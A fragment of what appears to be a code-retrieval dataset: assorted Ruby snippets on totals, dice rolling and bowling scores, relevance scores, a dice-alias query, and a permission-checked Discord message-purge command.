"def running_total(arr)\n results = []\n total = 0\n arr.each do |el|\n total += el\n results << total\n total = total\n end\n results\nend",
"def _total # :nodoc:\n total = 0\n @tags.each do |name, hash|\n total += hash['total']\n end\n total\n end",
"def each_roll(dice, num_dice, accumulated_score)\n roll_score, values = roll_dice(dice, num_dice)\n if roll_score == 0\n accumulated_score = 0\n else\n # accumulated_score for that turn\n accumulated_score += roll_score\n\n # Gets number of valid dice for next roll\n num_dice = get_valid_dice_count(num_dice, values)\n end\n [num_dice, accumulated_score]\n end",
"def total\n @total ||= (\n tally = 0\n each do |b|\n tally += b.count\n end\n tally\n )\n end",
"def calcular_total hash\n p hash.inject(0) { |sum, tuple| sum += tuple[1] }\n end",
"def score\n total_score = 0\n current_roll = 0\n\n while current_roll < @rolls.size - 1\n roll = @rolls[current_roll]\n next_roll = @rolls[current_roll + 1]\n\n if roll == 10 #strike\n total_score += 10 + @rolls[current_roll + 1] + @rolls[current_roll + 2]\n current_roll += 1\n elsif roll + next_roll == 10 #spare\n total_score += 10 + @rolls[current_roll + 2]\n current_roll += 2\n else #normal players\n total_score += roll + next_roll\n current_roll += 2\n end\n end\n\n return total_score\n end",
"def total_output\n @outputs.inject(:+)\n end",
"def total\n @frame.inject(0){|rez, item| item ? rez + item[:score] : rez }\n end",
"def roll_dice( dice_command, roll_count )\n begin\n puts \"Executing #{roll_count} roll(s) of #{dice_command}\"\n results, total = Dice.new( dice_command ).roll( roll_count )\n puts \"Result: [#{results.join(', ')}] => #{total}\" \n rescue Exception => e\n puts \"Roll error: #{e}\"\n end\nend",
"def running_total(numbers)\n sum = 0\n running_sums = []\n numbers.each_with_object(running_sums) do |number, array|\n sum += number\n array << sum\n end\n \n running_sums\nend",
"def roll\n @roll_count += 1\n @random.rand(1..6)\n end",
"def total\n return @die_1.roll + @die_2.roll\nend",
"def total\n response[:numFound].to_s.to_i\n end",
"def total(a)\n\ta.reduce(:+)\nend",
"def total\n sum(:total)\n end",
"def total(list)\n\tsum = 0\n\tlist.each { |x| sum+=x }\nend",
"def get_specific_token_to_pool_total(token, pool_name, divider_pool_name)\n return token_relation( get_token_counts(token,pool_name), get_pool_total(divider_pool_name) )\n end",
"def roll\n results = []\n\n self.dice.each do |die|\n results << die.roll\n end\n\n return results\n end",
"def total\n wins + losses\n end",
"def running_total(array)\n result = []\n\n array.inject(0) do |sum, num|\n result << sum += num\n sum # have to return sum\n end\n result\nend",
"def generate_total(list)\n list.inject(:+).round(2)\n end",
"def total\n return (@listOfItem.inject(0){|sum,e| sum += e.total}).round_to(2)\n end",
"def total(arr)\n x = arr.reduce(:+)\n return x\nend",
"def total(arr)\n return arr.inject(:+)\nend",
"def score_normal\n @total_score += @roll + @next_roll\n @current_roll +=2\n end",
"def roll(message, dice = '1d20')\n result = Die.roll(dice.split(' '))\n if result.is_a?(Integer)\n result = \"#{message.user.nick} rolls #{dice} totalling #{result}\"\n end\n message.reply result\n end",
"def total_count\n raw_history['total_results']\n end",
"def get_total\n counts = convert_to_hash(@item_list)\n uniq_items = @item_list.uniq\n\n final = (@total - @sale.apply(uniq_items, counts)).round(2) # Used round for precision\n puts get_invoice + final.to_s\n final\n end",
"def running_total arr\n totals = []\n sum = 0\n arr.each do |elm|\n sum += elm\n totals << sum\n end\n totals\nend",
"def total\n @doclist['numFound']\n end",
"def total(numbers)\n result = 0\n numbers.each { |x| result += x }\n return result\nend",
"def total_points\n stories.inject(0) do |accumulator, story|\n accumulator += story.points\n end\n end",
"def regular_frame\n @total_score += @roll + @next_roll\n @current_roll +=2\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def total\n @total ||= raw_response['response']['numFound']\n end",
"def total(nums)\n nums.inject(:+)\nend",
"def running_total2(array)\n total = 0\n array.each_with_object([]) do |num, arr|\n total += num\n arr << total\n end\nend",
"def token_count(token)\n @data.keys.reduce(0) do |acc, key|\n acc += @data[key][token].to_i\n acc\n end\n end",
"def total(x)\n sum = 0\n\tx.each do |i|\n\t\tsum += i\n\tend\n\treturn sum\nend",
"def total\n tot = 0\n for card in @cards\n tot += card.value\n end\n if has_ace and tot < 12\n tot2 = tot + 10\n if @stand\n return tot2\n else\n return [ tot, tot2 ]\n end\n else\n return tot\n end\n end",
"def running_total(arr)\n sum = 0\n arr.inject([]) { |running_sum, num| running_sum << sum += num }\nend",
"def sum_following_turn\n following_turn[0] + following_turn[1]\n end",
"def total(arr)\n arr.inject(:+)\nend",
"def roll\n @dice_set.clear\n @dice_set.roll(@available_dices)\n calculate_points\n end",
"def running_total\n sum = 0.00\n @items.each { |item| sum += item[\"price\"] }\n return sum\n end",
"def total\n #use group matches instead of numFound for grouped response\n if response[:numFound].nil? \n self[:grouped][blacklight_config['index']['group']]['matches'].to_s.to_i \n else \n response[:numFound].to_s.to_i\n end\n end",
"def total (array)\n array.inject {|m, v| m += v}\nend",
"def roll\n\t\t\t@number = rand(1..6)\n\t\t\taudit\n\t\t\t@number \t# return the number as the caller expect a return number\n\t\tend",
"def total(array)\n sum = 0\n array.inject(:+)\nend",
"def total(array)\n sum = 0\n array.inject(:+)\nend",
"def total\n @total = 0\n @ordered_items.each do |item|\n @total += item[1]\n end\n return @total\n end",
"def total; end",
"def score\n while @current_roll < @rolls.size - 1\n init_roll\n\n if strike?\n score_strike\n elsif spare?\n score_spare\n else\n score_roll\n end \n end\n \n return @total_score\n end",
"def running_total(array)\n # new_array = []\n sum = 0\n array.inject([]) do |arr, val| \n sum += val\n arr << sum \n arr\n end\nend",
"def total\n sum = 0\n\n @four_result.each do |result|\n sum += result\n end\n @six_result.each do |result|\n sum += result\n end\n @eight_result.each do |result|\n sum += result\n end\n @ten_result.each do |result|\n sum += result\n end\n @twelve_result.each do |result|\n sum += result\n end\n @twenty_result.each do |result|\n sum += result\n end\n @percentile_result.each do |result|\n sum += result\n end\n\n sum\n end",
"def total(num)\n\tnum.inject {|x,y| x + y }\nend",
"def running_total(arr)\n res = []\n running_total = 0\n\n arr.each do |element|\n running_total += element\n res << running_total\n end\n\n res\nend",
"def running_total(array)\n sum = 0\n array.each_with_object([]) do |el, new_array|\n new_array << sum += el\n end\nend",
"def score_normal\n @total_score += @roll + @next_roll\n @current_roll += 2\n end",
"def running_total(arr)\n totals_arr = []\n acc = 0\n arr.each do |num|\n acc = acc + num\n totals_arr << acc\n end\n totals_arr\nend",
"def total(x)\n\tx.inject(0) { |memo, i| memo + i }\nend",
"def running_total(array)\n p array.each_with_index { |_, index| array[0..index].reduce(:+) }\nend"
] |
[
"0.73488116",
"0.6805841",
"0.67704463",
"0.66526693",
"0.644771",
"0.64475363",
"0.6181173",
"0.6139325",
"0.6105927",
"0.60964596",
"0.6076455",
"0.60742",
"0.6069119",
"0.6041715",
"0.5756544",
"0.5678213",
"0.5678213",
"0.56752324",
"0.5667398",
"0.56579214",
"0.5646743",
"0.5641429",
"0.56366587",
"0.561172",
"0.5608731",
"0.5605686",
"0.56008136",
"0.55772555",
"0.55621386",
"0.555107",
"0.5547849",
"0.554267",
"0.55376667",
"0.5495614",
"0.54923636",
"0.5489977",
"0.54837394",
"0.5481182",
"0.54681647",
"0.5458124",
"0.54517716",
"0.5428408",
"0.54229784",
"0.54145545",
"0.5409422",
"0.5408568",
"0.54070985",
"0.54062855",
"0.53986233",
"0.53925776",
"0.53857356",
"0.53843105",
"0.53822076",
"0.53675723",
"0.5355629",
"0.5348356",
"0.53182703",
"0.5315175",
"0.5300105",
"0.52998805",
"0.52962834",
"0.52944106",
"0.52939844",
"0.5291319",
"0.52858067",
"0.5282978",
"0.5276404",
"0.5270508",
"0.52667916",
"0.52624136",
"0.52624136",
"0.52624136",
"0.5259577",
"0.5253981",
"0.5249417",
"0.52446985",
"0.5239989",
"0.5238658",
"0.5236779",
"0.5235411",
"0.5231667",
"0.5230472",
"0.5223219",
"0.5217079",
"0.52139443",
"0.52138436",
"0.5212218",
"0.5212218",
"0.5208569",
"0.520436",
"0.5202227",
"0.51951814",
"0.5193365",
"0.5190542",
"0.51883715",
"0.5184212",
"0.51778054",
"0.51745796",
"0.5173215",
"0.5166862"
] |
0.69327235
|
1
|
[/\bdndstats\b/i, 'DnD Statroll', /\b(dndstats)\b/i, '6 4d6 k3'] DnD character stats 4d6 drop lowest 6 times
|
def check_purge(event)
if @check =~ /^\s*(purge)\s*\d*$/i
@roll.slice! 'purge'
amount = @input.to_i
if (amount < 2) || (amount > 100)
event.respond(content: 'Amount must be between 2-100')
return false
end
if event.user.defined_permission?(:manage_messages) == true ||
event.user.defined_permission?(:administrator) == true ||
event.user.permission?(:manage_messages, event.channel) == true
event.defer
event.channel.prune(amount)
event.send_message(content: "`#{@user}` deleted #{amount} messages from channel")
else
event.respond(content: "#{@user} does not have permissions for this command")
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def extract_bogo_ops(string)\n string[/stress-ng: info: \\[\\d*\\] cpu\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)/, 5]\n end",
"def getHighestAbilityLetterFrom pattern\n remainWords = []\n @currentBucket.each {|bucketWord|\n remainWords += [bucketWord] if pattern.match(bucketWord)\n }\n remainWords.each{|word|\n remainWords.delete word if (word.chars - @incorrectWord) != word.chars\n }\n remainWords = checkNewWords {|word| pattern.match(word)} if remainWords == []\n @currentBucket = remainWords\n\n dict = statisticLetter remainWords\n @missingWord.each {|letter| dict.delete letter}\n getSortListFrom dict\nend",
"def search_by_dmd_number dmd\r\n last.find {|dm| (dm.source =~ /^(DMD|DMD LOS) #{dmd}$/) != nil}\r\n end",
"def d6_damage\n dmg = 0\n if (match = damage.match /\\A\\s*\\d*(\\s*\\+?\\s*(\\d*)[dw]6(\\/\\d+)?)\\s*\\Z/)\n dmg = (match[2].blank? ? 1 : match[2]).to_i\n unless match[3].nil?\n dmg = \"#{dmg}#{match[3]}\"\n end\n end\n dmg\n end",
"def danish(text)\n p text.sub(/\\b(apple|cherry|blueberry)\\b/, 'danish')\nend",
"def number_of_stats_skillz(text)\n result = 0\n @statistics_skillz.each do |s|\n if text.downcase.include?(s)\n result += 1\n end\n end\n return result\nend",
"def context_type_stats\n ContextTypeDef.new(\n :stats,\n [\n /statistiche(?!\\ssocie.+)/i\n# /(?<anything>^.*)/i\n# /(?<empty>^\\s*\\r?\\n|^\\r?\\n|^\\s*\\n|^\\s*$)/i\n# /^\\s*(\\r\\n|\\n|$|\\Z)/i\n ]\n )\n end",
"def mana(hash={})\n\t\t$_TAGHASH_['GSZ'], $_TAGHASH_['MGSZ'] = hash['text'].scan(/\\d+/o)\n\tend",
"def attack_type_symbol\n case full_attack_type.titleize\n when /Area Burst.*/\n \"atk-area-burst\"\n when /Area Wall.*/\n \"atk-area-wall\"\n when /Area Blast.*/\n \"atk-area-blast\"\n when /Close Burst.*/\n \"atk-close-burst\"\n when /Close Blast.*/\n \"atk-close-blast\"\n when /Close Wall.*/\n \"atk-close-wal\"\n when /Melee or Ranged Weapon*/\n \"atk-hybrid\"\n when /Ranged Weapon.*/\n \"atk-ranged-weapon\"\n when /Ranged.*/\n \"atk-ranged\"\n when /Melee Weapon.*/\n \"atk-melee-weapon\"\n when /(Melee Touch)|(Melee).*/\n \"atk-touch\"\n when /Self|Personal.*/\n \"atk-personal\"\n end\n end",
"def fewest_hits(seasonasstring) # shots in game team stats\n #inverse of above\n end",
"def badish\n# Post process each bad entry to match against the profesor names in a regular expression fashion\nbad.each do |item|\n # unpack\n id = materias[item][0]\n rfc = materias[item][3]\n p_name = materias[item][4]\n #puts materias[item].inspect if (DEBUG)\n\n #name = []\n profesores.each do |profesor|\n # normalize string and split into words\n name = profesor[1].chomp.upcase.gsub(/\\s+/,' ').gsub(/(M\\.[ICAG]|L\\.A|I\\.Q|ING|FIS|MTRO|MRTO|DRA?)\\.?$/,\"\").split(\" \")\n # match the known name against a regular expression\n if (name.length >= 5)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3]+\" \"+name[4])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 4)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 3)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 2)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n end\nend\nend",
"def soundex_ger(word, level=2)\n word = word.downcase\n sdx_result = ''\n word.split('').each_with_index do |char, idx|\n rule = GerSound[char]\n raise NoRuleGiven, \"No rule defined (or encoding wrong) for #{char.inspect}!\" unless rule\n \n unless rule.conditions.empty?\n if idx == 0 and rule.conditions[:first_letter_prior]\n sdx_result << (rule.conditions[:first_letter_prior].include?(word[1]) ? rule.number : rule.alternative).to_s\n end\n \n if rule.conditions[:after]\n sdx_result << (rule.conditions[:after].include?(word[idx-1,1]) ? rule.alternative : rule.number).to_s \n next\n end\n \n if rule.conditions[:prior]\n if rule.conditions[:prior].include?(word[idx+1,1])\n if rule.conditions[:except_after]\n sdx_result << (rule.conditions[:except_after].include?(word[idx-1,1]) ? rule.alternative : rule.number).to_s \n else\n sdx_result << rule.number.to_s\n end\n else\n sdx_result << rule.alternative.to_s\n end\n next\n end\n else\n sdx_result << rule.number.to_s\n end\n end\n \n return sdx_result if level == 0\n sdx_result = sdx_result.squeeze\n return sdx_result if level == 1\n sdx_result = sdx_result[0,1] + sdx_result[1..-1].gsub('0','') if sdx_result.size > 1\n return sdx_result\n end",
"def danish(str)\n str.sub(/\\b*apple|cherry|blueberry\\b*/, 'danish')\nend",
"def summary\n\t\tsummary = \"\"\n\t\tget = @text.split(/ /)\n\t\tget.each_index do |word|\n\t\t\tsummary << get[word] << \" \" if word < 10\n\t\tend\n\t\tsummary.strip\n\tend",
"def war_sword # todo: check this matches when 5 are bought\n Regexp.new s_to_h(<<-S)\n B1 96 B1 D3 ED AE 5F 92 02 66 03 01 .. FF FF FF\n FF .. .. .. .. 31 19 01 0B 01 00 00 00 10 00 00\n 00 4E 00 00 00 00 00 00 00 01 00 00 00 00 00 00\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\n 43 9F 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\n 00\n S\nend",
"def statistics_types\n\n if bib_format == 'BK'\n return ['XS'] if record['008'] && record['008'].value[24..27] =~ /s/\n end\n\n return ['XS'] if @xv6XX.match? /\\AStatistic/i\n\n # Nope\n return []\n end",
"def scrabble_score(str)\n str.gsub(/\\W+/, '').upcase.chars.inject(0){|sum,x| sum + $dict[x]}\nend",
"def grab_all_sins(string)\n sins2 = string.scan(/\\b\\d{3}-\\d{3}-\\d{3}\\b/)\n return sins2\nend",
"def alias_input_pass(input)\n # Each entry is formatted [/Alias match regex/, \"Alias Name\", /gsub replacement regex/, \"replace with string\"]\n alias_input_map = [\n [/\\b\\d+dF\\b/i, 'Fudge', /\\b(\\d+)dF\\b/i, '\\\\1d3 f1 t3'], # Fate fudge dice\n [/\\bSNM\\d+\\b/i, 'Sunsails', /\\bSNM(\\d+)\\b/i, '\\\\1d6 ie6 t4'], # Sunsails: New Milennium; Fourth Edition\n [/\\b\\d+wh\\d+\\+/i, 'Warhammer', /\\b(\\d+)wh(\\d+)\\+/i, '\\\\1d6 t\\\\2'], # Warhammer (AoS/40k)\n [/\\b\\d+WoD\\d+\\b/i, 'WoD', /\\b(\\d+)WoD(\\d+)\\b/i, '\\\\1d10 f1 t\\\\2'], # World of Darkness 4th edition (note: explosions are left off for now)\n [/\\bdd\\d\\d\\b/i, 'Double Digit', /\\bdd(\\d)(\\d)\\b/i, '(1d\\\\1 * 10) + 1d\\\\2'], # Rolling one dice for each digit\n [/\\bage\\b/i, 'AGE System Test', /\\b(age)\\b/i, '2d6 + 1d6'], # 2d6 plus one drama/dragon/stunt die\n [/\\B\\+d\\d+\\b/i, 'Advantage', /\\B\\+d(\\d+)\\b/i, '2d\\\\1 d1'], # Roll two dice of the specified size and keep the highest\n [/\\B-d\\d+\\b/i, 'Disadvantage', /\\B-d(\\d+)\\b/i, '2d\\\\1 kl1'], # Roll two dice of the specified size and keep the lowest\n [/\\B\\+d%\\B/i, 'Advantage on percentile', /\\B\\+d%\\B/i, '((2d10kl1-1) *10) + 1d10'], # Roll two d10s for the tens column and keep the lowest (roll under system) then add a d10 for the ones\n [/\\B-d%\\B/i, 'Disadvantage on percentile', /\\B-d%\\B/i, '((2d10k1-1) *10) + 1d10'], # Roll two d10s for the tens column and keep the highest (roll under system) then add a d10 for the ones\n [/\\b\\d+CoD\\b/i, 'CoD 10-again', /\\b(\\d+)CoD\\b/i, '\\\\1d10 ie10 t8'], # Chronicles of Darkness (default, 10-again)\n [/\\b\\d+CoD8\\b/i, 'CoD 8-again', /\\b(\\d+)CoD8\\b/i, '\\\\1d10 ie9 t8'], # Chronicles of Darkness (8-again)\n [/\\b\\d+CoD9\\b/i, 'CoD 9-again', /\\b(\\d+)CoD9\\b/i, '\\\\1d10 ie8 t8'], # Chronicles of Darkness (9-again)\n [/\\b\\d+CoDR\\b/i, 'CoD rote quality', /\\b(\\d+)CoDR\\b/i, '\\\\1d10 r7 t8'], # Chronicles of Darkness (Rote quality, reroll all failed)\n [/\\bd6s\\d+\\b/i, 'The D6 System', /\\bd6s(\\d+)\\b/i, '\\\\1d6 + 1d6 ie'], # The D6 System\n [/\\bsr\\d+\\b/i, 'Shadowrun', /\\bsr(\\d+)\\b/i, '\\\\1d6 t5'], # Shadowrun system\n [/\\b\\d+d%\\B/i, 'Percentile roll', /\\b(\\d+)d%\\B/i, '\\\\1d100'], # Roll a d100\n [/\\bsp\\d+\\b/i, 'Storypath', /\\bsp(\\d+)\\b/i, 'ul \\\\1d10 ie10 t8'], # storypath system\n [/\\b\\d+yz\\b/i, 'Year Zero', /\\b(\\d+)yz\\b/i, '\\\\1d6 t6'], # year zero system\n [/\\bdndstats\\b/i, 'DnD Stat-roll', /\\b(dndstats)\\b/i, '6 4d6 k3'] # DnD character stats - 4d6 drop lowest 6 times\n ]\n\n @alias_types = []\n new_input = input\n\n # Run through all aliases and record which ones we use\n alias_input_map.each do |alias_entry|\n if input.match?(alias_entry[0])\n @alias_types.append(alias_entry[1])\n new_input.gsub!(alias_entry[2], alias_entry[3])\n end\n end\n\n new_input\nend",
"def tokenizer_stats_disqual_tot\n TokenExtractor.new(\n :disqual_tot,\n /\\s{2}\\d/i,\n 10\n )\n end",
"def danish(str)\n str.sub(/\\b(apple|blueberry|cherry)\\b/, 'danish')\nend",
"def extract_bogo_ops(string, method)\n string[/stress-ng: info: \\[\\d*\\] #{method}\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)\\s+(\\d*.\\d*)/, 5]\n end",
"def danish(string)\n string.sub(/\\b(apple|blueberry|cherry)\\b/, 'danish')\nend",
"def danish(string)\n string.sub(/\\b(apple|blueberry|cherry)\\b/, 'danish')\nend",
"def danish(string)\n string.sub(/\\b(apple|blueberry|cherry)\\b/, 'danish')\nend",
"def extract_stats(t)\n d = i = p = r = '-'\n\n t.output.split(\"\\n\").each do |l|\n case l\n when /==\\d+== definitely lost: ([0-9,]+) bytes in ([0-9,]+) blocks/\n d = format($1, $2)\n when /==\\d+== indirectly lost: ([0-9,]+) bytes in ([0-9,]+) blocks/\n i = format($1, $2)\n when /==\\d+== possibly lost: ([0-9,]+) bytes in ([0-9,]+) blocks/\n p = format($1, $2)\n when /==\\d+== still reachable: ([0-9,]+) bytes in ([0-9,]+) blocks/\n r = format($1, $2)\n end\n end\n\n MemcheckStats.new(d, i, p, r)\nend",
"def pos_breakdown(word)\n pos_code(word).chars.to_a.map {|c| pos_code_map[c] }\n end",
"def filter_through_white_list(string)\n res = []\n string.split(' ').each do |word|\n if word =~ float_matcher\n res << word.strip\n next\n end\n stripped_word = word.strip.gsub(/^,/, '').gsub(/,$/, '')\n if mappings.has_key?(stripped_word)\n res << mappings[stripped_word]\n elsif !join_words.include?(stripped_word) and ChronicDuration.raise_exceptions\n raise DurationParseError, \"An invalid word #{word.inspect} was used in the string to be parsed.\"\n end\n end\n # add '1' at front if string starts with something recognizable but not with a number, like 'day' or 'minute 30sec' \n res.unshift(1) if res.length > 0 && mappings[res[0]] \n res.join(' ')\n end",
"def filter_through_white_list(string)\n res = []\n string.split(' ').each do |word|\n if word =~ float_matcher\n res << word.strip\n next\n end\n stripped_word = word.strip.gsub(/^,/, '').gsub(/,$/, '')\n if mappings.has_key?(stripped_word)\n res << mappings[stripped_word]\n elsif !join_words.include?(stripped_word) and ChronicDuration.raise_exceptions\n raise DurationParseError, \"An invalid word #{word.inspect} was used in the string to be parsed.\"\n end\n end\n # add '1' at front if string starts with something recognizable but not with a number, like 'day' or 'minute 30sec' \n res.unshift(1) if res.length > 0 && mappings[res[0]] \n res.join(' ')\n end",
"def filter_through_white_list(string)\n res = []\n string.split(' ').each do |word|\n if word =~ float_matcher\n res << word.strip\n next\n end\n stripped_word = word.strip.gsub(/^,/, '').gsub(/,$/, '')\n if mappings.has_key?(stripped_word)\n res << mappings[stripped_word]\n elsif !join_words.include?(stripped_word) and ChronicDuration.raise_exceptions\n raise DurationParseError, \"An invalid word #{word.inspect} was used in the string to be parsed.\"\n end\n end\n # add '1' at front if string starts with something recognizable but not with a number, like 'day' or 'minute 30sec' \n res.unshift(1) if res.length > 0 && mappings[res[0]] \n res.join(' ')\n end",
"def filter_through_white_list(string)\n res = []\n string.split(' ').each do |word|\n if word =~ float_matcher\n res << word.strip\n next\n end\n stripped_word = word.strip.gsub(/^,/, '').gsub(/,$/, '')\n if mappings.has_key?(stripped_word)\n res << mappings[stripped_word]\n elsif !join_words.include?(stripped_word) and ChronicDuration.raise_exceptions\n raise DurationParseError, \"An invalid word #{word.inspect} was used in the string to be parsed.\"\n end\n end\n # add '1' at front if string starts with something recognizable but not with a number, like 'day' or 'minute 30sec' \n res.unshift(1) if res.length > 0 && mappings[res[0]] \n res.join(' ')\n end",
"def words(pos_name)\n pos.select {|w, c| c.include?(pos_code_map.key(pos_name)) }.keys\n end",
"def tokenizer_stats_swimmers_presence\n TokenExtractor.new(\n :swimmer_presence,\n /\\s{2}\\d/i,\n 10\n )\n end",
"def words_starting_with_un_and_ending_with_ing(text)\n text.scan(/\\bun\\w+ing\\b/)\nend",
"def top_scoring_words\n @dictionary.each_with_object([]) do |cur_word, words_found|\n return words_found if words_found.length >= WORDS_TO_FIND\n\n words_found << cur_word if letters_present_for cur_word\n end\n end",
"def stress_data_patterns\n lu = \"Line-Up\"\n default_data_patterns.merge({\n seq_histories: /(\\d+) histories computed/,\n seq_time: /histories computed in ([0-9.]+s)/,\n avg_lins: /#{lu} performed (\\d+) \\(avg\\)/,\n max_lins: / (\\d+) \\(max\\) linearizations/,\n })\nend",
"def attack_use\n puts \"\"\n puts \"#{@type.name.upcase} MOVES ARE POWERFUL AGAINST:\"\n @type.super_effective.each_with_index {|other_type, index| puts \"#{index+1}. #{other_type.name}\"}\n end",
"def craft_names(rand_words, snippet, pattern, caps=false)\nnames = snippet.scan(pattern).map do\n word = rand_words.pop()\n caps ? word.capitalize : word\nend\n\nreturn names * 2\nend",
"def craft_names(rand_words, snippet, pattern, caps = false)\n\tnames = snippet.scan(pattern).map do\n\t\tword = rand_words.pop()\n\t\tcaps ? word.capitalize : word\n\tend\n\t\n\treturn names * 2\t\nend",
"def spell(hash={})\n\t\t$_TAGHASH_['GSn'] = /<spell[^>]*?>([\\s\\w]+)<\\/spell>/o.match($_SERVERSTRING_).captures.first\n\tend",
"def words_starting_with_un_and_ending_with_ing(text)\n result = text.scan(/\\bun\\w+/) + text.scan(/ing\\b\\w+/)\n result.uniq\nend",
"def craft_names(rand_words, snippet, pattern, caps=false) # caps defaults to false\n names = snippet.scan(pattern).map do\n word = rand_words.pop()\n caps ? word.capitalize : word\n end\n\n return names * 2 # return the names variable twice as an array\nend",
"def does_not_include_badwords\n\n badwords = %w(\n aloha!\n href=\n -online\n 1freewebspace.com\n 4u\n 5gighost.com\n accutane\n adipex\n adultsex\n advicer\n alprazolam\n amoxil\n arcadepages\n arimidex\n associations.missouristate.edu\n ativan\n augmentin\n baccarrat\n baclofen\n beaver\n blackjack\n bllogspot\n blogs.blackmarble.co.uk\n blowjob\n booker\n buspar\n byob\n car-rental-e-site\n car-rentals-e-site\n carisoprodol\n casino\n casinos\n chatroom\n cialis\n cipro\n citalopram\n clomid\n clonazepam\n comment1\n comment2\n comment3\n comment4\n comment5\n comment6\n coolcoolhu\n coolhu\n credit-card-debt\n credit-report-4u\n creditonlinepersonalloans\n cwas\n cyclen\n cyclobenzaprine\n dating-e-site\n day-trading\n debt-consolidation\n debt-consolidation-consultant\n diazepam\n diovan\n discreetordering\n dostinex\n duty-free\n dutyfree\n dvxuser.com\n equityloans\n fanreach.com\n fioricet\n flagyl\n flowers-leading-site\n fosamax\n freenet\n freenet-shopping\n gambling-\n hair-loss\n health-insurancedeals-4u\n hi5.com\n holdem\n holdempoker\n holdemsoftware\n holdemtexasturbowilson\n homeequityloans\n homefinance\n hotel-dealse-site\n hotele-site\n hotelse-site\n hydrocodone\n hyves.mn\n incest\n insurance-quotesdeals-4u\n insurancedeals-4u\n isuzuforums.com\n jestmaster\n jizz\n jrcreations\n kaboodle.com\n kamagra\n klonopin\n lamictal\n lesbian\n levaquin\n levitra\n lezbian\n loans\n lorazepam\n lycos\n macinstruct\n metformin\n metronidazole\n mortgage-4-u\n mortgagequotes\n musicstation\n nojazzfest\n nolvadex\n online-gambling\n onlinegambling-4u\n ottawavalleyag\n ownsthis\n palm-texas-holdem-game\n paxil\n paydal\n penguinforum\n penis\n personalloansbad\n pharmacy\n phenergan\n phentermine\n poker-chip\n porn\n poze\n profiles.friendster.com\n propecia\n proscar\n pussy\n remeron\n rental-car-e-site\n ringtone\n ringtones\n roulette\n shemale\n shoes\n slot-machine\n Staphcillin\n tamiflu\n tegretol\n texas-holdem\n thorcarlson\n top-e-site\n top-site\n toprol\n toradol\n tramadol\n tramodal\n tramodol\n trim-spa\n ultram\n valeofglamorganconservatives\n valium\n viagra\n vibramycin\n vicodin\n vioxx\n voltaren\n vytorin\n xanax\n zantac\n zithromax\n zofran\n zolpidem\n zolus\n )\n badwords.each do |bw|\n if !comment.nil? && comment.downcase.include?(bw) \n errors.add_to_base(\"Comment Rejected\") \n break\n end\n end\n end",
"def words_starting_with_un_and_ending_with_ing(text)\n return text.scan(/\\b[un]\\w+[ing]\\b/)\nend",
"def fix_nbt nbt\n return unless nbt\n nbt = nbt.gsub(\"ench:[{\", \"Enchantments:[{\")\n nbt = nbt.gsub(/display:{Name:\"([^\"]+)\",/, 'display:{Name:\"\\\"\\1\\\"\",')\n nbt = nbt.gsub(\"id:33\", \"id:silk_touch\")\n nbt = nbt.gsub(\"id:35\", \"id:fortune\")\n nbt = nbt.gsub(\"id:32\", \"id:efficiency\")\n nbt = nbt.gsub(\"id:51\", \"id:infinity\")\n nbt = nbt.gsub(\"id:50\", \"id:flame\")\n nbt = nbt.gsub(\"id:49\", \"id:punch\")\n nbt = nbt.gsub(\"id:48\", \"id:power\")\n nbt = nbt.gsub(\"id:70\", \"id:mending\")\n nbt = nbt.gsub(\"id:22\", \"id:sweeping_edge\")\n nbt = nbt.gsub(\"id:21\", \"id:looting\")\n nbt = nbt.gsub(\"id:22\", \"id:sweeping_edge\")\n nbt = nbt.gsub(\"id:16\", \"id:sharpness\")\n nbt = nbt.gsub(\"id:8\", \"id:depth_strider\")\n nbt = nbt.gsub(\"id:7\", \"id:thorns\")\n nbt = nbt.gsub(\"id:6\", \"id:aqua_infinity\")\n nbt = nbt.gsub(\"id:5\", \"id:respiration\")\n nbt = nbt.gsub(\"id:4\", \"id:projectile_protection\")\n nbt = nbt.gsub(\"id:3\", \"id:blast_protection\")\n nbt = nbt.gsub(\"id:2\", \"id:feather_falling\")\n nbt = nbt.gsub(\"id:1\", \"id:fire_protection\")\n nbt = nbt.gsub(\"id:0\", \"id:protection\")\n nbt\n end",
"def bulk_tweet_shortener(array)\n replace= []\n \n array.each do |string|\n replace << string.split.each do |word| \n if dictionary.has_key?(\"#{word}\") == true\n word.replace(dictionary[\"#{word}\"])\n else word\n end\n end\n \n end \n\n replace.collect do |tweet| puts tweet.join(\" \") end\nend",
"def words_starting_with_un_and_ending_with_ing(text)\n text.scan(/un+\\w+ing/)\nend",
